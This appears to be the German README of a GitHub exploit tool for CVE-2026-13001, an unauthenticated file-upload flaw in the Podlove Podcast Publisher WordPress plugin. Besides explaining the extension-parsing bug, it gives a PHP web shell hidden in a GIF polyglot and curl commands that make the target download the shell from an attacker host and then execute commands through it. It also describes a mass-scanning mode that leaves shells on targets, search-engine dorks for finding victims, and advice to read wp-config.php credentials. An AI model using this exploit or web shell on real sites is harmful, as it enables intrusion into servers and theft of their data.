
Podlove Podcast Publisher: Unauthentifizierter Datei-Upload RCE durch is_image()- vs. extract_file_extension()-Abweichung | CVSS 9.8
CVE-2026-13001 ist eine nicht authentisierte Schwachstelle mit kritischem Schweregrad (CVSS 9.8) für beliebigen Datei-Upload im Podlove Podcast Publisher WordPress-Plugin in Versionen ≤ 4.5.1.
Die Schwachstelle nutzt eine Nichtübereinstimmung zwischen zwei internen Funktionen aus, die Dateiendungen unterschiedlich parsen:
is_image() verwendet basename(), was Abfragezeichenfolgen einbezieht → URL shell.php?.gif erscheint als .gif ✅ (gültiges Bild)extract_file_extension() verwendet nur den Pfad von parse_url() → gibt .php zurück → Datei wird mit .php-Endung gespeichert 🚨Angreifer laden GIF89a PHP-Polyglots (gültiger GIF-Header + eingebettetes PHP) hoch, die die Bildvalidierung bestehen, aber als PHP ausgeführt werden, wenn darauf zugegriffen wird.
| Version | Status |
|---|---|
| ≤ 4.5.1 | Verwundbar |
| 4.5.2+ | Gefixt |
Entdeckt von: Talal Nasraddeen über Wordfence (14. Juli 2026)
// is_image() — verwendet basename() inkl. Abfragezeichenfolge
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ UMGEHEN
// extract_file_extension() — verwendet nur den Pfad von parse_url()
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 GESPEICHERT ALS .php
1. Angreifer hostet GIF89a PHP-Polyglot auf attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validiert .gif-Endung → BESTANDEN
4. Plugin lädt Datei herunter → speichert als test_original.php im Cache/
5. Angreifer greift auf /wp-content/cache/podlove/{hash}/test_original.php zu
6. PHP wird ausgeführt → RCE
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# Einzelnes Ziel
python cve_2026_13001.py -t ziel.de
# Massen-Scan
python cve_2026_13001.py -f targets.txt -o shells.txt
# Eigene Payload-URL
python cve_2026_13001.py -t ziel.de --payload-url https://ihr-server/shell.php?.gif
# Debug-Modus, Shells hinterlassen
python cve_2026_13001.py -t ziel.de --debug --no-cleanup
-t, --target Einzelnes Ziel (Domain oder IP)
-f, --file Zielliste, eine pro Zeile
-o, --output RCE-URLs in Datei speichern
--payload-url URL, die das PHP-Polyglot hostet (Standard: GitHub raw)
--threads Gleichzeitige Arbeiter (Standard: 30)
--no-cleanup Shells auf dem Ziel belassen
--debug Zeige jede HTTP-Anfrage
-v, --verbose Ausführliche Ausgabe
$ python cve_2026_13001.py -t podcast-site.de
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.de
Podlove : JA v4.5.1
Upload : JA
RCE : JA
Shell : https://podcast-site.de/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Ausgabe : uid=33(www-data) gid=33(www-data)
Zeit : 4.2s
Ziele: 500 | Threads: 30
Payload-URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.de https://podcast-vuln-01.de/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
Schritt 1 — Ein Polyglot-Shell hosten
// shell.php — speichern und auf eigenem Server hosten
GIF89a<?php system($_GET['c']); ?>
Schritt 2 — URL mit Umgehung hex-kodieren
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
Schritt 3 — Cache-Download auslösen
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
Schritt 4 — Auf die Shell zugreifen
# Pfad: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
Eine erfolgreiche Ausnutzung führt zur Remote-Code-Ausführung als Webserver-Benutzer:
wp-config.php → Datenbank-ZugangsdatenNUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.
Die Autoren übernehmen keine Haftung für Missbrauch.
Nicht verbunden mit Podlove.
| Ressource | Link |
|---|
| Wordfence-Hinweis | wordfence.com |
| Podlove-Sicherheitsupdate | podlove.org |
| NVD-Eintrag | CVE-2026-13001 |
| PoC von Raimu0x19 | GitHub |
| Forscher | Talal Nasraddeen |